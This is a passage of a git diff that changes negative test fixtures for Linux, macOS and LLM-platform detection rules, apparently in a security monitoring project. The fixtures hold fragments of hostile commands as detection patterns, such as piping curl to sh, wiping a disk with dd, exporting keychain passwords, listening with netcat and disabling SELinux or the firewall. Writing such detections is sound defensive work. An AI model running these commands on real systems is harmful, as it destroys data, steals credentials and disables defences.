"syscall": "execve"}diff --git a/detections/fixtures/negative/linux-history-disabled-export.json b/detections/fixtures/negative/linux-history-disabled-export.jsonindex fbbae3e57..e77f6c95c 100644--- a/detections/fixtures/negative/linux-history-disabled-export.json+++ b/detections/fixtures/negative/linux-history-disabled-export.json@@ -1,4 +1,4 @@{"argv": "prefix-histfile=/dev/null-suffix",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-host-network-namespace.json b/detections/fixtures/negative/linux-host-network-namespace.jsonindex 870af821b..244892ff8 100644--- a/detections/fixtures/negative/linux-host-network-namespace.json+++ b/detections/fixtures/negative/linux-host-network-namespace.json@@ -1,4 +1,4 @@{- "event_type": "not-container_create",+ "event_type": "http_request","network_mode": "host"}diff --git a/detections/fixtures/negative/linux-host-pid-namespace.json b/detections/fixtures/negative/linux-host-pid-namespace.jsonindex dc349e162..0b7654b34 100644--- a/detections/fixtures/negative/linux-host-pid-namespace.json+++ b/detections/fixtures/negative/linux-host-pid-namespace.json@@ -1,4 +1,4 @@{- "event_type": "not-container_create",+ "event_type": "http_request","pid_mode": "host"}diff --git a/detections/fixtures/negative/linux-initd-script-add.json b/detections/fixtures/negative/linux-initd-script-add.jsonindex a714943ee..1b3dcfd23 100644--- a/detections/fixtures/negative/linux-initd-script-add.json+++ b/detections/fixtures/negative/linux-initd-script-add.json@@ -1,5 +1,5 @@{"exe": "__benign__","path": "prefix-/etc/init.d/-suffix",- "syscall": "not-openat"+ "syscall": "execve"}diff --git a/detections/fixtures/negative/linux-iptables-flush.json b/detections/fixtures/negative/linux-iptables-flush.jsonindex 2cfe8418e..5447d9eac 100644--- a/detections/fixtures/negative/linux-iptables-flush.json+++ b/detections/fixtures/negative/linux-iptables-flush.json@@ -1,5 +1,5 @@{"argv": "prefix--F-suffix","exe": "head-/iptables",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-kernel-module-load-insmod.json b/detections/fixtures/negative/linux-kernel-module-load-insmod.jsonindex dad79b647..0514fdf62 100644--- a/detections/fixtures/negative/linux-kernel-module-load-insmod.json+++ b/detections/fixtures/negative/linux-kernel-module-load-insmod.json@@ -1,4 +1,4 @@{"exe": "head-/insmod",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-large-stage-tmp.json b/detections/fixtures/negative/linux-large-stage-tmp.jsonindex 86c2b2c16..5d880f3bf 100644--- a/detections/fixtures/negative/linux-large-stage-tmp.json+++ b/detections/fixtures/negative/linux-large-stage-tmp.json@@ -1,5 +1,5 @@{"path": "/tmp/.tar","size_bytes": 524288100.0,- "syscall": "not-openat"+ "syscall": "execve"}diff --git a/detections/fixtures/negative/linux-ld-preload-set-tmp.json b/detections/fixtures/negative/linux-ld-preload-set-tmp.jsonindex 45fd3f7f8..83445c110 100644--- a/detections/fixtures/negative/linux-ld-preload-set-tmp.json+++ b/detections/fixtures/negative/linux-ld-preload-set-tmp.json@@ -1,4 +1,4 @@{"env_ld_preload": "/tmp/-tail",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-mass-rename-suspicious-ext.json b/detections/fixtures/negative/linux-mass-rename-suspicious-ext.jsonindex 1ba9ab7f3..0671fa5ca 100644--- a/detections/fixtures/negative/linux-mass-rename-suspicious-ext.json+++ b/detections/fixtures/negative/linux-mass-rename-suspicious-ext.json@@ -1,5 +1,5 @@{"new_name": "head-.locked","rename_count_60s": 150.0,- "syscall": "not-renameat2"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-mass-userlist-read.json b/detections/fixtures/negative/linux-mass-userlist-read.jsonindex 6b1405c23..37e649bee 100644--- a/detections/fixtures/negative/linux-mass-userlist-read.json+++ b/detections/fixtures/negative/linux-mass-userlist-read.json@@ -1,5 +1,5 @@{"distinct_pid_5min": 150.0,"path": "/etc/passwd",- "syscall": "not-openat"+ "syscall": "execve"}diff --git a/detections/fixtures/negative/linux-memfd-create-then-execve.json b/detections/fixtures/negative/linux-memfd-create-then-execve.jsonindex d5586dbb1..c34b0e54d 100644--- a/detections/fixtures/negative/linux-memfd-create-then-execve.json+++ b/detections/fixtures/negative/linux-memfd-create-then-execve.json@@ -1,4 +1,4 @@{"fd_path": "/memfd:-tail",- "syscall": "not-execveat"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-modprobe-suspicious.json b/detections/fixtures/negative/linux-modprobe-suspicious.jsonindex 0a2a3fcf8..fa5408257 100644--- a/detections/fixtures/negative/linux-modprobe-suspicious.json+++ b/detections/fixtures/negative/linux-modprobe-suspicious.json@@ -1,5 +1,5 @@{"argv": "prefix-/tmp/-suffix","exe": "head-/modprobe",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-mount-procfs-rw.json b/detections/fixtures/negative/linux-mount-procfs-rw.jsonindex 8266264a0..e4678dfd3 100644--- a/detections/fixtures/negative/linux-mount-procfs-rw.json+++ b/detections/fixtures/negative/linux-mount-procfs-rw.json@@ -1,5 +1,5 @@{"options": "prefix-rw-suffix",- "syscall": "not-mount",+ "syscall": "openat","target": "/proc-tail"}diff --git a/detections/fixtures/negative/linux-netcat-listen.json b/detections/fixtures/negative/linux-netcat-listen.jsonindex 291788366..d76cdf905 100644--- a/detections/fixtures/negative/linux-netcat-listen.json+++ b/detections/fixtures/negative/linux-netcat-listen.json@@ -1,5 +1,5 @@{"argv": "prefix--l-suffix","exe": "head-/nc",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-nopasswd-sudo-line.json b/detections/fixtures/negative/linux-nopasswd-sudo-line.jsonindex a7e7e7e62..19531b8a9 100644--- a/detections/fixtures/negative/linux-nopasswd-sudo-line.json+++ b/detections/fixtures/negative/linux-nopasswd-sudo-line.json@@ -1,5 +1,5 @@{"file_content": "prefix-NOPASSWD-suffix","path": "prefix-/etc/sudoers-suffix",- "syscall": "not-openat"+ "syscall": "execve"}diff --git a/detections/fixtures/negative/linux-nss-module-installed.json b/detections/fixtures/negative/linux-nss-module-installed.jsonindex 7e9dd1020..ce3bb1563 100644--- a/detections/fixtures/negative/linux-nss-module-installed.json+++ b/detections/fixtures/negative/linux-nss-module-installed.json@@ -1,5 +1,5 @@{"exe": "__benign__","path": "/usr/liblibnss_",- "syscall": "not-openat"+ "syscall": "execve"}diff --git a/detections/fixtures/negative/linux-pam-d-modified.json b/detections/fixtures/negative/linux-pam-d-modified.jsonindex b459b30d8..6c66717f1 100644--- a/detections/fixtures/negative/linux-pam-d-modified.json+++ b/detections/fixtures/negative/linux-pam-d-modified.json@@ -1,5 +1,5 @@{"exe": "__benign__","path": "prefix-/etc/pam.d/-suffix",- "syscall": "not-openat"+ "syscall": "execve"}diff --git a/detections/fixtures/negative/linux-passwd-modified.json b/detections/fixtures/negative/linux-passwd-modified.jsonindex 27612974f..5c5775c17 100644--- a/detections/fixtures/negative/linux-passwd-modified.json+++ b/detections/fixtures/negative/linux-passwd-modified.json@@ -1,5 +1,5 @@{"exe": "__benign__","path": "/etc/passwd",- "syscall": "not-openat"+ "syscall": "execve"}diff --git a/detections/fixtures/negative/linux-ptrace-pid1.json b/detections/fixtures/negative/linux-ptrace-pid1.jsonindex bb9993263..acc17d39e 100644--- a/detections/fixtures/negative/linux-ptrace-pid1.json+++ b/detections/fixtures/negative/linux-ptrace-pid1.json@@ -1,4 +1,4 @@{- "syscall": "not-ptrace",+ "syscall": "openat","target_pid": 1}diff --git a/detections/fixtures/negative/linux-rclocal-modified.json b/detections/fixtures/negative/linux-rclocal-modified.jsonindex f5f59cb3d..7b0a94a18 100644--- a/detections/fixtures/negative/linux-rclocal-modified.json+++ b/detections/fixtures/negative/linux-rclocal-modified.json@@ -1,4 +1,4 @@{"path": "/etc/rc.local",- "syscall": "not-openat"+ "syscall": "execve"}diff --git a/detections/fixtures/negative/linux-rclone-process.json b/detections/fixtures/negative/linux-rclone-process.jsonindex aff27e715..6b8bebb5b 100644--- a/detections/fixtures/negative/linux-rclone-process.json+++ b/detections/fixtures/negative/linux-rclone-process.json@@ -1,4 +1,4 @@{"exe": "head-/rclone",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-selinux-permissive.json b/detections/fixtures/negative/linux-selinux-permissive.jsonindex 6bf38c10f..624a35b93 100644--- a/detections/fixtures/negative/linux-selinux-permissive.json+++ b/detections/fixtures/negative/linux-selinux-permissive.json@@ -1,5 +1,5 @@{"argv": "prefix-0-suffix","exe": "head-/setenforce",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-shred-on-prod-data.json b/detections/fixtures/negative/linux-shred-on-prod-data.jsonindex 65ebadc25..98b07ab53 100644--- a/detections/fixtures/negative/linux-shred-on-prod-data.json+++ b/detections/fixtures/negative/linux-shred-on-prod-data.json@@ -1,5 +1,5 @@{"argv": "prefix-/var/lib-suffix","exe": "head-/shred",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-ssh-config-permitrootlogin-yes.json b/detections/fixtures/negative/linux-ssh-config-permitrootlogin-yes.jsonindex 9f32be0e8..81184abb8 100644--- a/detections/fixtures/negative/linux-ssh-config-permitrootlogin-yes.json+++ b/detections/fixtures/negative/linux-ssh-config-permitrootlogin-yes.json@@ -1,5 +1,5 @@{"path": "/etc/ssh/sshd_config",- "syscall": "not-openat",+ "syscall": "execve","value": "prefix-PermitRootLogin yes-suffix"}diff --git a/detections/fixtures/negative/linux-sudoers-d-add.json b/detections/fixtures/negative/linux-sudoers-d-add.jsonindex ede477414..bbfe4c21a 100644--- a/detections/fixtures/negative/linux-sudoers-d-add.json+++ b/detections/fixtures/negative/linux-sudoers-d-add.json@@ -1,5 +1,5 @@{"exe": "__benign__","path": "prefix-/etc/sudoers.d/-suffix",- "syscall": "not-openat"+ "syscall": "execve"}diff --git a/detections/fixtures/negative/linux-suid-binary-create.json b/detections/fixtures/negative/linux-suid-binary-create.jsonindex b59d44a77..d92a019a9 100644--- a/detections/fixtures/negative/linux-suid-binary-create.json+++ b/detections/fixtures/negative/linux-suid-binary-create.json@@ -1,5 +1,5 @@{"mode_octal": "prefix-4-suffix","path_not": "/usr/bin-tail",- "syscall": "not-fchmod"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-syslog-config-removed.json b/detections/fixtures/negative/linux-syslog-config-removed.jsonindex 0cb59e1e2..99e12d8e7 100644--- a/detections/fixtures/negative/linux-syslog-config-removed.json+++ b/detections/fixtures/negative/linux-syslog-config-removed.json@@ -1,4 +1,4 @@{"path": "prefix-/etc/rsyslog.d/-suffix",- "syscall": "not-unlinkat"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-systemctl-mass-stop.json b/detections/fixtures/negative/linux-systemctl-mass-stop.jsonindex 831a6ac7b..3a5b5a229 100644--- a/detections/fixtures/negative/linux-systemctl-mass-stop.json+++ b/detections/fixtures/negative/linux-systemctl-mass-stop.json@@ -2,5 +2,5 @@"argv": "prefix-stop-suffix","exe": "head-/systemctl","stops_5min": 105.0,- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-systemd-portable-attach.json b/detections/fixtures/negative/linux-systemd-portable-attach.jsonindex 1c408d143..6a4b12431 100644--- a/detections/fixtures/negative/linux-systemd-portable-attach.json+++ b/detections/fixtures/negative/linux-systemd-portable-attach.json@@ -1,5 +1,5 @@{"argv": "prefix-attach-suffix","exe": "head-/portablectl",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-tar-pipe-curl.json b/detections/fixtures/negative/linux-tar-pipe-curl.jsonindex 03520f814..7aceb0c3d 100644--- a/detections/fixtures/negative/linux-tar-pipe-curl.json+++ b/detections/fixtures/negative/linux-tar-pipe-curl.json@@ -1,4 +1,4 @@{"argv": "tar curl",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-ufw-disable.json b/detections/fixtures/negative/linux-ufw-disable.jsonindex ae78fca15..de6559493 100644--- a/detections/fixtures/negative/linux-ufw-disable.json+++ b/detections/fixtures/negative/linux-ufw-disable.json@@ -1,5 +1,5 @@{"argv": "prefix-disable-suffix","exe": "head-/ufw",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-utmp-tampering.json b/detections/fixtures/negative/linux-utmp-tampering.jsonindex 0b4a9d086..b3546b6a0 100644--- a/detections/fixtures/negative/linux-utmp-tampering.json+++ b/detections/fixtures/negative/linux-utmp-tampering.json@@ -1,5 +1,5 @@{"exe": "__benign__","path": "prefix-/var/log/wtmp-suffix",- "syscall": "not-openat"+ "syscall": "execve"}diff --git a/detections/fixtures/negative/linux-wget-suspicious-tld.json b/detections/fixtures/negative/linux-wget-suspicious-tld.jsonindex 4fd43ed36..15899bfdd 100644--- a/detections/fixtures/negative/linux-wget-suspicious-tld.json+++ b/detections/fixtures/negative/linux-wget-suspicious-tld.json@@ -1,5 +1,5 @@{"argv": "prefix-.xyz-suffix","exe": "head-/wget",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-wipe-disk-dd.json b/detections/fixtures/negative/linux-wipe-disk-dd.jsonindex ebae5ac3b..2efb42bea 100644--- a/detections/fixtures/negative/linux-wipe-disk-dd.json+++ b/detections/fixtures/negative/linux-wipe-disk-dd.json@@ -1,5 +1,5 @@{"argv": "if=/dev/zero of=/dev/","exe": "head-/dd",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-yum-add-untrusted-repo.json b/detections/fixtures/negative/linux-yum-add-untrusted-repo.jsonindex 845b9f051..8f90e5c63 100644--- a/detections/fixtures/negative/linux-yum-add-untrusted-repo.json+++ b/detections/fixtures/negative/linux-yum-add-untrusted-repo.json@@ -1,5 +1,5 @@{"path": "/etc/yum.repos.d/-tail",- "syscall": "not-openat",+ "syscall": "execve","value": "prefix-baseurl=http://-suffix"}diff --git a/detections/fixtures/negative/llm-anthropic-workspace-created.json b/detections/fixtures/negative/llm-anthropic-workspace-created.jsonindex 7f6a7f7b3..817f47cf6 100644--- a/detections/fixtures/negative/llm-anthropic-workspace-created.json+++ b/detections/fixtures/negative/llm-anthropic-workspace-created.json@@ -1,3 +1,3 @@{- "event_type": "not-anthropic.workspace.created"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/llm-logging-disabled.json b/detections/fixtures/negative/llm-logging-disabled.jsonindex 69044263a..c8117e50e 100644--- a/detections/fixtures/negative/llm-logging-disabled.json+++ b/detections/fixtures/negative/llm-logging-disabled.json@@ -1,4 +1,4 @@{"action": "disabled",- "event_type": "__benign__"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/llm-mfa-disabled.json b/detections/fixtures/negative/llm-mfa-disabled.jsonindex 69044263a..c8117e50e 100644--- a/detections/fixtures/negative/llm-mfa-disabled.json+++ b/detections/fixtures/negative/llm-mfa-disabled.json@@ -1,4 +1,4 @@{"action": "disabled",- "event_type": "__benign__"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/macos-app-bundle-shared.json b/detections/fixtures/negative/macos-app-bundle-shared.jsonindex c592b3da9..0c5be5f9c 100644--- a/detections/fixtures/negative/macos-app-bundle-shared.json+++ b/detections/fixtures/negative/macos-app-bundle-shared.json@@ -1,4 +1,4 @@{- "event_type": "not-ES_EVENT_TYPE_NOTIFY_WRITE",+ "event_type": "http_request","path": "/Users/Shared/.app/Contents/MacOS/main"}diff --git a/detections/fixtures/negative/macos-binary-from-shared.json b/detections/fixtures/negative/macos-binary-from-shared.jsonindex e30f8448e..0b6e8e193 100644--- a/detections/fixtures/negative/macos-binary-from-shared.json+++ b/detections/fixtures/negative/macos-binary-from-shared.json@@ -1,4 +1,4 @@{- "event_type": "not-exec",+ "event_type": "http_request","process_path": "/Users/Shared/-tail"}diff --git a/detections/fixtures/negative/macos-codesign-force-bypass.json b/detections/fixtures/negative/macos-codesign-force-bypass.jsonindex 4d22bda9b..020db2256 100644--- a/detections/fixtures/negative/macos-codesign-force-bypass.json+++ b/detections/fixtures/negative/macos-codesign-force-bypass.json@@ -1,5 +1,5 @@{"argv": "--force --deep",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/codesign"}diff --git a/detections/fixtures/negative/macos-com-apple-loginitems-modified.json b/detections/fixtures/negative/macos-com-apple-loginitems-modified.jsonindex 91e77a3d0..62c164fd4 100644--- a/detections/fixtures/negative/macos-com-apple-loginitems-modified.json+++ b/detections/fixtures/negative/macos-com-apple-loginitems-modified.json@@ -1,4 +1,4 @@{- "event_type": "not-ES_EVENT_TYPE_NOTIFY_WRITE",+ "event_type": "http_request","path": "head-com.apple.backgroundtaskmanagement.plist"}diff --git a/detections/fixtures/negative/macos-config-profile-installed.json b/detections/fixtures/negative/macos-config-profile-installed.jsonindex c4d9ec022..34e4d39d6 100644--- a/detections/fixtures/negative/macos-config-profile-installed.json+++ b/detections/fixtures/negative/macos-config-profile-installed.json@@ -1,5 +1,5 @@{"argv": "prefix-install-suffix",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/profiles"}diff --git a/detections/fixtures/negative/macos-cron-tab-create.json b/detections/fixtures/negative/macos-cron-tab-create.jsonindex b08861c8f..b36f9cf7b 100644--- a/detections/fixtures/negative/macos-cron-tab-create.json+++ b/detections/fixtures/negative/macos-cron-tab-create.json@@ -1,5 +1,5 @@{"argv": "prefix--l-suffix",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/crontab"}diff --git a/detections/fixtures/negative/macos-csrutil-disable.json b/detections/fixtures/negative/macos-csrutil-disable.jsonindex 6b1996814..ce8444fcd 100644--- a/detections/fixtures/negative/macos-csrutil-disable.json+++ b/detections/fixtures/negative/macos-csrutil-disable.json@@ -1,5 +1,5 @@{"argv": "prefix-disable-suffix",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/csrutil"}diff --git a/detections/fixtures/negative/macos-curl-pipe-shell.json b/detections/fixtures/negative/macos-curl-pipe-shell.jsonindex acf2d2ef3..13e053265 100644--- a/detections/fixtures/negative/macos-curl-pipe-shell.json+++ b/detections/fixtures/negative/macos-curl-pipe-shell.json@@ -1,5 +1,5 @@{"argv": "prefix-curl | sh-suffix",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/sh"}diff --git a/detections/fixtures/negative/macos-defaults-com-apple-loginwindow.json b/detections/fixtures/negative/macos-defaults-com-apple-loginwindow.jsonindex 82236b00b..60fea1948 100644--- a/detections/fixtures/negative/macos-defaults-com-apple-loginwindow.json+++ b/detections/fixtures/negative/macos-defaults-com-apple-loginwindow.json@@ -1,5 +1,5 @@{"argv": "write com.apple.loginwindow",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/defaults"}diff --git a/detections/fixtures/negative/macos-dock-modified.json b/detections/fixtures/negative/macos-dock-modified.jsonindex 5f03a8409..a4ebf4bce 100644--- a/detections/fixtures/negative/macos-dock-modified.json+++ b/detections/fixtures/negative/macos-dock-modified.json@@ -1,4 +1,4 @@{- "event_type": "not-ES_EVENT_TYPE_NOTIFY_WRITE",+ "event_type": "http_request","path": "head-/Preferences/com.apple.dock.plist"}diff --git a/detections/fixtures/negative/macos-dyld-insert-libraries.json b/detections/fixtures/negative/macos-dyld-insert-libraries.jsonindex 3d9ae565c..dbc3ed4e4 100644--- a/detections/fixtures/negative/macos-dyld-insert-libraries.json+++ b/detections/fixtures/negative/macos-dyld-insert-libraries.json@@ -1,4 +1,4 @@{"env_dyld_insert_libraries": "/tmp/-tail",- "event_type": "not-exec"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/macos-emond-installed.json b/detections/fixtures/negative/macos-emond-installed.jsonindex c4347fcc3..4fc0ec1ee 100644--- a/detections/fixtures/negative/macos-emond-installed.json+++ b/detections/fixtures/negative/macos-emond-installed.json@@ -1,4 +1,4 @@{- "event_type": "not-ES_EVENT_TYPE_NOTIFY_WRITE",+ "event_type": "http_request","path": "prefix-/etc/emond.d/rules/-suffix"}diff --git a/detections/fixtures/negative/macos-find-iphone-disabled.json b/detections/fixtures/negative/macos-find-iphone-disabled.jsonindex f43d7ae46..364bb9a36 100644--- a/detections/fixtures/negative/macos-find-iphone-disabled.json+++ b/detections/fixtures/negative/macos-find-iphone-disabled.json@@ -1,5 +1,5 @@{"argv": "com.apple.icloud FindMyMacEnabled 0",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/defaults"}diff --git a/detections/fixtures/negative/macos-firewall-disabled.json b/detections/fixtures/negative/macos-firewall-disabled.jsonindex 977ec47d6..cbc7dd3b2 100644--- a/detections/fixtures/negative/macos-firewall-disabled.json+++ b/detections/fixtures/negative/macos-firewall-disabled.json@@ -1,5 +1,5 @@{"argv": "prefix---setglobalstate off-suffix",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/socketfilterfw"}diff --git a/detections/fixtures/negative/macos-hyperkit-launch-untrusted.json b/detections/fixtures/negative/macos-hyperkit-launch-untrusted.jsonindex 77c5781ff..7da5070c4 100644--- a/detections/fixtures/negative/macos-hyperkit-launch-untrusted.json+++ b/detections/fixtures/negative/macos-hyperkit-launch-untrusted.json@@ -1,5 +1,5 @@{- "event_type": "not-exec",+ "event_type": "http_request","process_path": "prefix-/hyperkit-suffix","process_path_not": "/Applications/-tail"}diff --git a/detections/fixtures/negative/macos-icloud-keychain-toggle.json b/detections/fixtures/negative/macos-icloud-keychain-toggle.jsonindex 10f7f3ceb..4769fec9d 100644--- a/detections/fixtures/negative/macos-icloud-keychain-toggle.json+++ b/detections/fixtures/negative/macos-icloud-keychain-toggle.json@@ -1,5 +1,5 @@{"argv": "com.apple.security AccountSettings Keychain",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/defaults"}diff --git a/detections/fixtures/negative/macos-kextload-unsigned.json b/detections/fixtures/negative/macos-kextload-unsigned.jsonindex 010595e6e..fb69a8856 100644--- a/detections/fixtures/negative/macos-kextload-unsigned.json+++ b/detections/fixtures/negative/macos-kextload-unsigned.json@@ -1,5 +1,5 @@{- "event_type": "not-exec",+ "event_type": "http_request","kext_signed": false,"process_path": "head-/kextload"}diff --git a/detections/fixtures/negative/macos-launchagent-write-user.json b/detections/fixtures/negative/macos-launchagent-write-user.jsonindex 5018edeea..353558d0a 100644--- a/detections/fixtures/negative/macos-launchagent-write-user.json+++ b/detections/fixtures/negative/macos-launchagent-write-user.json@@ -1,4 +1,4 @@{- "event_type": "not-ES_EVENT_TYPE_NOTIFY_WRITE",+ "event_type": "http_request","path": "/Users/.plist"}diff --git a/detections/fixtures/negative/macos-launchctl-load-from-tmp.json b/detections/fixtures/negative/macos-launchctl-load-from-tmp.jsonindex 98502cc5d..5fcb245e4 100644--- a/detections/fixtures/negative/macos-launchctl-load-from-tmp.json+++ b/detections/fixtures/negative/macos-launchctl-load-from-tmp.json@@ -1,5 +1,5 @@{"argv": "prefix-/tmp/-suffix",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/launchctl"}diff --git a/detections/fixtures/negative/macos-launchdaemon-write-system.json b/detections/fixtures/negative/macos-launchdaemon-write-system.jsonindex 76e4ed601..3d4319585 100644--- a/detections/fixtures/negative/macos-launchdaemon-write-system.json+++ b/detections/fixtures/negative/macos-launchdaemon-write-system.json@@ -1,5 +1,5 @@{"creator_signing_id": "__benign__",- "event_type": "not-ES_EVENT_TYPE_NOTIFY_WRITE",+ "event_type": "http_request","path": "prefix-/Library/LaunchDaemons/-suffix"}diff --git a/detections/fixtures/negative/macos-loginitem-add.json b/detections/fixtures/negative/macos-loginitem-add.jsonindex 32554602f..6c96437e2 100644--- a/detections/fixtures/negative/macos-loginitem-add.json+++ b/detections/fixtures/negative/macos-loginitem-add.json@@ -1,5 +1,5 @@{"argv": "prefix-login items-suffix",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/osascript"}diff --git a/detections/fixtures/negative/macos-mas-receipt-tamper.json b/detections/fixtures/negative/macos-mas-receipt-tamper.jsonindex e4ffbb046..1d385d746 100644--- a/detections/fixtures/negative/macos-mas-receipt-tamper.json+++ b/detections/fixtures/negative/macos-mas-receipt-tamper.json@@ -1,4 +1,4 @@{- "event_type": "not-ES_EVENT_TYPE_NOTIFY_WRITE",+ "event_type": "http_request","path": "head-_MASReceipt/receipt"}diff --git a/detections/fixtures/negative/macos-mdm-enrollment-removed.json b/detections/fixtures/negative/macos-mdm-enrollment-removed.jsonindex 1104e00c4..6c7dec0ab 100644--- a/detections/fixtures/negative/macos-mdm-enrollment-removed.json+++ b/detections/fixtures/negative/macos-mdm-enrollment-removed.json@@ -1,5 +1,5 @@{"argv": "prefix-remove-suffix",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/profiles"}diff --git a/detections/fixtures/negative/macos-nvram-boot-args.json b/detections/fixtures/negative/macos-nvram-boot-args.jsonindex ee1604ed3..534ea5c47 100644--- a/detections/fixtures/negative/macos-nvram-boot-args.json+++ b/detections/fixtures/negative/macos-nvram-boot-args.json@@ -1,5 +1,5 @@{"argv": "prefix-boot-args=-suffix",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/nvram"}diff --git a/detections/fixtures/negative/macos-osascript-do-shell-script.json b/detections/fixtures/negative/macos-osascript-do-shell-script.jsonindex ade30ebe8..ec930d6ce 100644--- a/detections/fixtures/negative/macos-osascript-do-shell-script.json+++ b/detections/fixtures/negative/macos-osascript-do-shell-script.json@@ -1,5 +1,5 @@{"argv": "prefix-do shell script-suffix",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/osascript"}diff --git a/detections/fixtures/negative/macos-osascript-keychain-access.json b/detections/fixtures/negative/macos-osascript-keychain-access.jsonindex d581b50ad..8b519749b 100644--- a/detections/fixtures/negative/macos-osascript-keychain-access.json+++ b/detections/fixtures/negative/macos-osascript-keychain-access.json@@ -1,5 +1,5 @@{"argv": "prefix-security 2>&1-suffix",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/osascript"}diff --git a/detections/fixtures/negative/macos-periodic-script-modified.json b/detections/fixtures/negative/macos-periodic-script-modified.jsonindex 7fba5c5ce..57128d454 100644--- a/detections/fixtures/negative/macos-periodic-script-modified.json+++ b/detections/fixtures/negative/macos-periodic-script-modified.json@@ -1,4 +1,4 @@{- "event_type": "not-ES_EVENT_TYPE_NOTIFY_WRITE",+ "event_type": "http_request","path": "prefix-/private/etc/periodic/-suffix"}diff --git a/detections/fixtures/negative/macos-plistbuddy-from-non-system.json b/detections/fixtures/negative/macos-plistbuddy-from-non-system.jsonindex cf67101f1..7b2081b51 100644--- a/detections/fixtures/negative/macos-plistbuddy-from-non-system.json+++ b/detections/fixtures/negative/macos-plistbuddy-from-non-system.json@@ -1,5 +1,5 @@{- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/PlistBuddy","responsible_signing_id": "__benign__"}diff --git a/detections/fixtures/negative/macos-quarantine-attribute-removed.json b/detections/fixtures/negative/macos-quarantine-attribute-removed.jsonindex dd0697968..362cb4f24 100644--- a/detections/fixtures/negative/macos-quarantine-attribute-removed.json+++ b/detections/fixtures/negative/macos-quarantine-attribute-removed.json@@ -1,5 +1,5 @@{"argv": "-d com.apple.quarantine",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/xattr"}diff --git a/detections/fixtures/negative/macos-screencapture-binary.json b/detections/fixtures/negative/macos-screencapture-binary.jsonindex 691d36981..dbd9e2206 100644--- a/detections/fixtures/negative/macos-screencapture-binary.json+++ b/detections/fixtures/negative/macos-screencapture-binary.json@@ -1,4 +1,4 @@{- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/screencapture"}diff --git a/detections/fixtures/negative/macos-security-export-keychain.json b/detections/fixtures/negative/macos-security-export-keychain.jsonindex 405e7ae95..686707b4c 100644--- a/detections/fixtures/negative/macos-security-export-keychain.json+++ b/detections/fixtures/negative/macos-security-export-keychain.json@@ -1,5 +1,5 @@{"argv": "prefix-export-suffix",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/security"}diff --git a/detections/fixtures/negative/macos-security-find-generic-password.json b/detections/fixtures/negative/macos-security-find-generic-password.jsonindex b9b5185d2..880ff9834 100644--- a/detections/fixtures/negative/macos-security-find-generic-password.json+++ b/detections/fixtures/negative/macos-security-find-generic-password.json@@ -1,5 +1,5 @@{"argv": "prefix-find-generic-password-suffix",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/security"}diff --git a/detections/fixtures/negative/macos-spctl-master-disable.json b/detections/fixtures/negative/macos-spctl-master-disable.jsonindex c223de6ec..1bce96f17 100644--- a/detections/fixtures/negative/macos-spctl-master-disable.json+++ b/detections/fixtures/negative/macos-spctl-master-disable.json@@ -1,5 +1,5 @@{"argv": "prefix---master-disable-suffix",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/spctl"}diff --git a/detections/fixtures/negative/macos-ssh-authorized-keys-append.json b/detections/fixtures/negative/macos-ssh-authorized-keys-append.jsonindex 4e836c625..36f3600bf 100644--- a/detections/fixtures/negative/macos-ssh-authorized-keys-append.json+++ b/detections/fixtures/negative/macos-ssh-authorized-keys-append.json@@ -1,4 +1,4 @@{- "event_type": "not-ES_EVENT_TYPE_NOTIFY_WRITE",+ "event_type": "http_request","path": "head-/.ssh/authorized_keys"}diff --git a/detections/fixtures/negative/macos-systemextension-load-non-apple.json b/detections/fixtures/negative/macos-systemextension-load-non-apple.jsonindex 7a0b2c243..735921419 100644--- a/detections/fixtures/negative/macos-systemextension-load-non-apple.json+++ b/detections/fixtures/negative/macos-systemextension-load-non-apple.json@@ -1,5 +1,5 @@{"argv": "prefix-install-suffix",- "event_type": "not-exec",+ "event_type": "http_request","process_path": 